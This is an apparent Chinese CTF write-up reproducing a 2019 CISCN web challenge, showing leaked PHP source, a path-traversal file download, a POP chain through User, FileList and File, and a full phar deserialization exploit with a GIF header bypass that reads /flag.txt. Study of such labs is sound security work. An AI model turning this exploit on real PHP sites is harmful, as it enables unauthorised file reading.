CTF ciscn_2019_web_northern_china_day1_web1复现
ciscn_2019_web_northern_china_day1_web1
复现,环境源于CTFTraining
分析
拿到题目扫描,发现没有什么有用资产
扫描过程中注册账号登录,发现上传入口
上传文件,发现下载删除行为,寻找功能点,发现不能访问uploads(扫出来的
访问上传的文件会定位回index.php
下载,发现能下载,前端源码并没有可以攻击的点,抓包
filename可以控制,很明显的钩子
下载download.php,发现不能直接下载,开始穿越目录,到第二层时成功
源码
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {Header("Content-type: application/octet-stream");Header("Content-Disposition: attachment; filename=" . basename($filename));echo $file->close();
} else {echo "File not exist";
}
?>
下载class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {public $db;public function __construct() {global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;private $results;private $funcs;public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);array_push($this->files, $file);$this->results[$file->name()] = array();}}public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func();}}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {return true;} else {return false;}}public function name() {return basename($this->filename);}public function size() {$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];}public function detele() {unlink($this->filename);}public function close() {return file_get_contents($this->filename);}
}
?>
还有index.php (但是好像没什么用
发现文件读取函数file_get_contents()
所以我们肯定是需要用到这个File->close()
来获得flag
注意:任意文件下载漏洞过滤了flag
😞
先找利用链到 => file_get_contents()
Files
中的results
会被输出,在执行__call
魔术方法时会把调用func
的输出存储在result
中- 为了调用
__call
我们需要调用一个FileList
没有的方法 User
在销毁时会对成员db
调用close
总结出POP链:User:db->__destruct:db:close->FileList:__call->File:__close->file_get_contents()
下一步,找到利用的方法
CTF中PHP的类的问题一般与序列化有关,查找相关资料,发现phar的反序列化攻击漏洞
https://paper.seebug.org/680/
https://xz.aliyun.com/t/2715?u_atoken=32c59ca9934f4d8f741fb56c6cd1090b&u_asig=0a47314717273488256545069e003d
关键点在于文件操作函数,伪协议未过滤
由于此问中没有unserial
函数而uploads.php
中调用了File->open
函数,open
函数调用了file_exits()
所以时可以利用phar反序列化 通过魔术方法攻击
还有一个点,怎么调用 ➡️ 传参时用phpr://
执行
执行
<?php
/*参考公布的资料
* 这题没限制文件类型
*/
class User {public $db;
}class FileList {private $files;private $results;private $funcs;public function __construct() {$file = new File();$file->filename = '/flag.txt';$this->files = array($file);$this->results = array();$this->funcs = array();}
}class File {public $filename;
}ini_set('phar.readonly',0);@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
// 通过user -> filelist -> file:__destruct
$o = new User();
$o->db = new FileList();$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "ctftest"); //添加要压缩的文件
//签名自动计算$phar->stopBuffering();
?>
php exp.php
报错phar.readonly
kali上更改php.ini配置:
先查看php.ini
文件的位置 php -r 'phpinfo();'
(在前几行
sudo grep -n 'phar.readonly' /etc/php/8.1/cli/php.ini
确定行数
sudo vim /etc/php/8.1/cli/php.ini
修改;phar.readonly=On
为 phar.readonly=Off
(分号是注释的意思
再执行,获得phar.phar
上传发现有个验证gif\jpeg
,增加前缀修改后缀,上传,em。。。就很难绷
还有个功能点没看delete
(用之前的任意文件下载
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {$file->detele();Header("Content-type: application/json");$response = array("success" => true, "error" => "");echo json_encode($response);
} else {Header("Content-type: application/json");$response = array("success" => false, "error" => "File not exist");echo json_encode($response);
}
?>
ok,传参filename
,用伪协议把phar
执行了,然后发现flag
回显了
Final
所以为啥我upload
传filename
不行呢?
因为ini_set("open_basedir", getcwd() . ":/etc:/tmp");
phar
执行时不能访问/uploads/phar.gif
😭
知识加一 ~
__call操作详解
-
array_push($this->funcs, $func);
- 将传入的不存在的方法名
$func
推入当前对象的$funcs
数组中。这可能是为了记录所有被调用但实际上不存在的方法名称,以便后续处理或分析。
- 将传入的不存在的方法名
-
foreach ($this->files as $file)
- 遍历当前对象的
$files
属性,假设$files
是一个包含多个对象的数组。
- 遍历当前对象的
-
$this->results[$file->name()][$func] = $file->$func();
- 对于每个遍历到的
$file
对象,获取其名称作为键,将不存在的方法名$func
作为内层键,然后调用$file
对象上的这个不存在的方法,并将返回值存储在$this->results
数组中。
- 对于每个遍历到的
exp详解
-
ini_set('phar.readonly',0);
- 这行代码将 PHP 的配置项
phar.readonly
设置为0
,表示允许创建和修改 Phar 文件。默认情况下,这个配置可能是设置为只读以提高安全性。
- 这行代码将 PHP 的配置项
-
@unlink("phar.phar");
- 尝试删除名为
phar.phar
的文件。使用@
符号抑制可能出现的错误消息。这一步可能是为了确保在创建新的 Phar 文件时不会出现同名文件冲突。
- 尝试删除名为
-
$phar = new Phar("phar.phar"); //后缀名必须为 phar
- 创建一个新的 Phar 对象,并指定文件名
phar.phar
。Phar 文件是一种将多个文件和资源打包到一个单独文件中的归档格式,在 PHP 中可以方便地进行分发和部署。
- 创建一个新的 Phar 对象,并指定文件名
-
$phar->startBuffering();
- 启动缓冲模式。在缓冲模式下,可以对 Phar 文件进行一系列的操作,而这些操作不会立即写入磁盘,直到调用
stopBuffering()
方法。
- 启动缓冲模式。在缓冲模式下,可以对 Phar 文件进行一系列的操作,而这些操作不会立即写入磁盘,直到调用
-
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置 stub
- 设置 Phar 文件的 stub。Stub 是在 Phar 文件被执行时首先被执行的代码。这里的 stub 只是一个简单的
__HALT_COMPILER();
语句,它会停止 PHP 编译器的执行,通常用于确保 Phar 文件的完整性和安全性。 $phar->setStub("GF89a<?php __HALT_COMPILER();?>");//设置 GIF头绕过
- 设置 Phar 文件的 stub。Stub 是在 Phar 文件被执行时首先被执行的代码。这里的 stub 只是一个简单的
-
$o = new User();
和$o->db = new FileList();
- 创建一个
User
对象,并为其属性db
分配一个新的FileList
对象。这可能是为了将自定义的对象作为元数据存储在 Phar 文件中。
- 创建一个
-
$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest
- 将前面创建的
$o
对象作为元数据存储在 Phar 文件的 manifest 中。元数据可以包含关于 Phar 文件的各种信息,例如版本号、作者、依赖关系等。在这个例子中,自定义的User
对象及其属性可能包含特定于应用程序的信息。
- 将前面创建的
-
$phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件
- 向 Phar 文件中添加一个名为
exp.txt
的文件,内容为"glzjin"
。可以使用addFromString
方法添加字符串内容作为文件,也可以使用其他方法添加实际的文件路径或资源。
- 向 Phar 文件中添加一个名为
-
$phar->stopBuffering();
- 停止缓冲模式,并将缓冲中的内容写入 Phar 文件。这一步确保所有的操作都被保存到磁盘上的 Phar 文件中。
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);
ini_set("open_basedir", getcwd(). ":/etc:/tmp");
ini_set()
函数用于在运行时设置 PHP 配置项的值。在这里,它设置了open_basedir
配置项。getcwd()
函数返回当前工作目录的路径。这个路径与:/etc:/tmp
一起组成了允许 PHP 脚本访问的文件系统路径列表。
设置open_basedir
有以下几个主要作用:
- 增强安全性:通过限制 PHP 脚本只能访问特定的目录,可以防止恶意脚本访问敏感的系统文件或其他不应该被访问的区域。例如,防止脚本访问系统的关键配置文件或其他用户的文件。
- 提高稳定性:限制文件系统访问范围可以减少由于脚本错误或恶意行为导致的文件系统损坏或数据泄露的风险。
- 优化性能:在某些情况下,限制访问范围可以减少文件系统的搜索时间,提高脚本的执行效率。
Thanks to LLM : )
相关文章:
CTF ciscn_2019_web_northern_china_day1_web1复现
ciscn_2019_web_northern_china_day1_web1 复现,环境源于CTFTraining 分析 拿到题目扫描,发现没有什么有用资产 扫描过程中注册账号登录,发现上传入口 上传文件,发现下载删除行为,寻找功能点,发现不能访问…...
docker命令汇总
Docker 是一个开源的应用容器引擎,它允许开发者打包应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。 以下是一些常用的 Docker 命令…...
云计算在现代企业中的应用与优势
云计算在现代企业中的应用与优势 随着信息技术的飞速发展,云计算已经成为现代企业不可或缺的一部分。作为一种创新的计算模式,云计算为企业提供了前所未有的灵活性和可扩展性,极大地推动了企业的数字化转型。 一、云计算的基本概念 云计算…...
Android平台GB28181实时回传流程和技术实现
规范解读 GB28181 中的 “INVITE” 是会话初始协议(SIP)中的一种请求方法,主要用于邀请一个或多个参与者加入特定的会话。在 GB28181 标准中,“INVITE” 请求通常用于发起媒体流的传输请求。当一个设备想要接收来自另一个设备的媒…...
Text-to-SQL方法研究
有关Text-to-SQL实现细节,可以查阅我的另一篇文章text-to-sql将自然语言转换为数据库查询语句 1、面临的挑战 自然语言问题往往包含复杂的语言结构,如嵌套语句、倒装句和省略等,很难准确映射到SQL查询上。此外,自然语言本身就存在歧义,一个问题可能有多种解读。消除…...
【Router】路由功能之MAC地址过滤(MAC Filter)功能介绍及实现
MAC地址过滤(MAC Filter) MAC 地址过滤是一种网络安全技术,通过在网络设备(如路由器)上设置规则,允许或阻止特定 MAC 地址的设备连接到网络。其主要作用是增强网络的安全性,防止未经授权的设备接入网络。 MAC Filter工作原理 MAC 地址过滤的工作原理是根据设备…...
Flink 本地 idea 调试开启 WebUI
Flink 本地 idea 调试开启 WebUI Maven 引用相关的包配置端口使用本地带UI环境启动 // maven 导入<!-- flink运行时的webUI --><dependency><groupId>org.apache.flink</groupId><artifactId>flink-runtime-web</artifactId><version…...
如何识别IP地址是独享的还是共享的
在网络环境中,IP地址的分配和使用方式直接影响到用户的在线隐私和访问安全。选择独享IP还是共享IP取决于用户的具体需求,理解这两种IP地址的差异及其特点至关重要。本文将探讨如何区分独享IP和共享IP,以及各自的优缺点。 1. 什么是独享IP与共…...
X-Spreadsheet使用教程:打造你的Web端电子表格应用
在Web开发中,经常需要处理数据表格的展示与编辑,而X-Spreadsheet作为一款轻量级、功能强大的JavaScript电子表格库,为开发者提供了一个便捷的解决方案。本文将详细介绍如何使用X-Spreadsheet在Web项目中创建和配置电子表格,让你的…...
订餐点餐|订餐系统基于java的订餐点餐系统小程序设计与实现(源码+数据库+文档)
订餐点餐系统小程序 目录 基于java的订餐点餐系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布…...
Tkinter制作登录界面以及登陆后页面切换(一)
Tkinter制作登录界面以及登陆后页面切换(一) 前言序言1. 由来2. 思路3. 项目结构描述4. 项目实战1. 登录界面实现(代码)2. 首页界面实现(代码)3. 打包build.py(与main.py同级目录)4.…...
Colorful/七彩虹将星X17 AT 23 英特尔13代处理器 Win11原厂OEM系统 带COLORFUL一键还原
安装完毕自带原厂驱动和预装软件以及一键恢复功能,自动重建COLORFUL RECOVERY功能,恢复到新机开箱状态。 【格式】:iso 【系统类型】:Windows11 原厂系统下载网址:http://www.bioxt.cn 注意:安装系统会…...
《Ubuntu20.04环境下的ROS进阶学习8》
一、中断和定时器中断 在ROS中我们经常会遇到要使用中断函数的情况,中断函数的触发方式有很多种,比如检测到某个引脚的电平变化,或某个数据达到了一定的范围,但最实用的中断触发方式还是定时器中断。 二、编写ROS的中断代码 ros中…...
ubuntu24.04 怎么调整swap分区的大小,调整为16G
在Ubuntu中,swap分区的大小通常建议为物理内存的1到2倍,具体取决于你的使用需求和系统内存。例如,如果你有8GB内存,swap可以设置为8GB到16GB。swap的主要作用是当物理内存不足时,提供额外的虚拟内存,帮助防…...
【论文阅读】视觉里程计攻击
Adversary is on the Road: Attacks on Visual SLAM using Unnoticeable Adversarial Patch 一、视觉SLAM的不安全因素 根据论文的分析,视觉SLAM由于完全依赖于特征,缺少验证机制导致算法不安全。前端在受到干扰的情况下,会导致误匹配增加&…...
解决 Git LFS 切换分支失败问题
场景描述 在本地已有分支 A 的情况下,目前工作在分支 B。当尝试从 B 分支切回 A 分支时,由于 A 分支存在 LFS 上传的大文件,导致切换失败。这个问题通常是因为某些 LFS 文件在服务器上不存在或没有权限访问。 报错日志 切换分支时遇到的错…...
BaoStock 的安装
安装 pip3 install baostock使用这个库登录免费帐户时有时候会出现登录失败的问题 import baostock as bs # 登录系统 lg bs.login() # 登出系统 bs.logout()login failed! logout failed!可能是由于高版本的python需要验证ssl,本地将其设置为可信服务器地址可以…...
聚势启新 智向未来 | 重庆华阳通用科技有限公司揭牌成立
助推两江新区汽车产业高质量发展 (以下文字内容转载自两江新区网) 9月26日,重庆华阳通用科技有限公司(华阳通用重庆子公司)在两江新区揭牌成立,将致力于智能座舱、智能驾驶两大领域,不断加大技术研发投入…...
【数据结构与算法】Z算法(扩展KMP)(C++和Python写法)
Z算法(扩展KMP) 文章目录 Z算法(扩展KMP)朴素求法线性求法力扣类型题变种题:[3303. 第一个几乎相等子字符串的下标](https://leetcode.cn/problems/find-the-occurrence-of-first-almost-equal-substring/) 所谓Z算法&…...
免费语音转文字软件全览:开启高效记录新时代
在当今快节奏的信息时代,高效地处理和记录信息变得至关重要。语音转文字技术的出现,为我们带来了极大的便利,今天,就让我们一同探讨这些语音转文字免费的软件的使用方法。 1.365在线转文字 链接直达:https://www.pdf…...
PHP“===”的意义
在PHP中, 运算符被称为“恒等比较运算符”(Identical Comparison Operator),它用于比较两个变量的值和类型是否完全相同。这个运算符与双等号 (等值比较运算符)不同,后者在比较时会对两边的值进…...
Tomcat架构解析
Tomcat: 是基于JAVA语言的轻量级应用服务器,是一款完全开源免费的Servlet服务器实现。 1. 总体设计 socket: 其实就是操作系统提供给程序员操作“网络协议栈”的接口,你能通过socket的接口,来控制协议,实现网络通信,达…...
如何在 Kubernetes 上部署和配置开源数据集成平台 Airbyte?
在 Kubernetes 上部署和配置 Airbyte 是一个复杂但非常有价值的过程,特别是对于需要强大数据集成和数据处理能力的企业或团队。Airbyte 是一个开源的数据集成平台,允许用户从各种来源提取数据并加载到目标存储中。其强大的插件系统支持多种数据源与目标&…...
信息技术与商业变革:机遇与挑战
信息技术与商业变革:机遇与挑战 目录 引言信息技术推动商业变革的主要因素 数字化转型的加速客户需求的个性化创新技术的应用 信息技术在企业中的应用场景 供应链管理的智能化营销与客户关系管理财务与资源管理的自动化远程工作和协作 信息技术带来的挑战 网络安全…...
JavaWeb之过滤器
1. 过滤器的概念 过滤器是Java Servlet规范中定义的组件,用于在请求到达Servlet之前或响应返回客户端之前,对请求或响应进行拦截和处理。过滤器可以实现以下功能: 日志记录:记录请求的详细信息,如URI、参数、时间等。…...
学习 笔记
bin log/redo log/undo log MySQL日志主要包括查询日志、慢查询日志、事务日志、错误日志、二进制日志等。其中比较重要的是 bin log(二进制日志)和 redo log(重做日志)和 undo log(回滚日志)。 慢SQL查询&…...
Flask-1
文章目录 Flask准备创建flask项目flask加载项目配置的二种方式 路由的基本定义接收任意路由参数接收限定类型参数自定义路由参数转换器 终端运行Flask项目http的请求与响应flask的生命周期请求获取请求中各项数据获取请求URL参数获取请求体获取请求头相关信息 响应响应html文本…...
pve 直通硬盘
qm set <vm_id> –<disk_type>[n] /dev/disk/by-id/- b r a n d − brand- brand−model_$serial_number <vm_id> : 为创建虚拟机时指定的VM ID。 <disk_type>[n]: 导入后的磁盘的总线类型及其编号,总线类型可以选择IDE、SATA…...
NLP_情感分类_机器学习(w2v)方案
文章目录 项目背景数据清洗导包导入数据切分评论及标签Word2Vec构造w2v 数据切分模型训练查看结果 同类型项目 项目背景 项目的目的,是为了对情感评论数据集进行预测打标。在训练之前,需要对数据进行数据清洗环节,前面已对数据进行清洗&…...
240929-CGAN条件生成对抗网络
240929-CGAN条件生成对抗网络 前面我们学习了GAN(240925-GAN生成对抗网络-CSDN博客)和DCGAN(240929-DCGAN生成漫画头像-CSDN博客),接下来继续来看CGAN(Conditional GAN)条件生成对抗网络。 流…...
如需手机网站建设/网站的营销推广方案
#服务器重启故障、服务器异常死机故障。#温度过高 会自动关机#CPU内存负载过大会宕机或者重启 1、chkconfig acpid offservice acpid stop 2、vi /boot/grub/grub.conf在kernel一行最后加上acpioff noacip#kernel... acpioff noacip 3、reboot转载于:https://blog.51cto.com/ki…...
做啥英文网站赚钱/阿里云域名注册万网
你好!有什么我可以帮助你的?...
平顶山建设银行网站/建站平台哪个好
Monkey简介 Monkey程序是Android系统自带,使用Java语言写成,在Android文件系统中的存放路径:/system/firmework/monkey; monkey可以运行在模拟器或实际设备中,它向系统发送伪随机的用户事件流(如按键输入、触摸屏输入和…...
网站设计昆明/seo搜索引擎优化是通过优化答案
项目过程中遇到C#代码的编写 上网查之后的结果 html.ActionLink的几种参数格式 一 Html.ActionLink("linkText","actionName") 该重载的第一个参数是该链接要显示的文字,第二个参数是对应的控制器的方法, 默认控制器为当前页面的控制…...
网站设计论文前言怎么写/世界杯32强排名
public class Test { //外部类public static void main(String[] args) {EnclosedClazz enclosedClazz new EnclosedClazz();//这里返回的实际是一个InnerSon对象Father f enclosedClazz.test();//定义在test()里的内部类对象is,存活到现在//父类引用指向子类对…...
中小型网站建设与管理设计总结/2023年广州疫情最新消息
如何显示文件夹中的图片,数据库表中,只记录图片名称或是图片路径。写一个用户控件,即轻易把图片显示出来。 另外,如何取得记录的主键,您是用HiddenField,DataKeyNames还是用DataRowView来取得? …...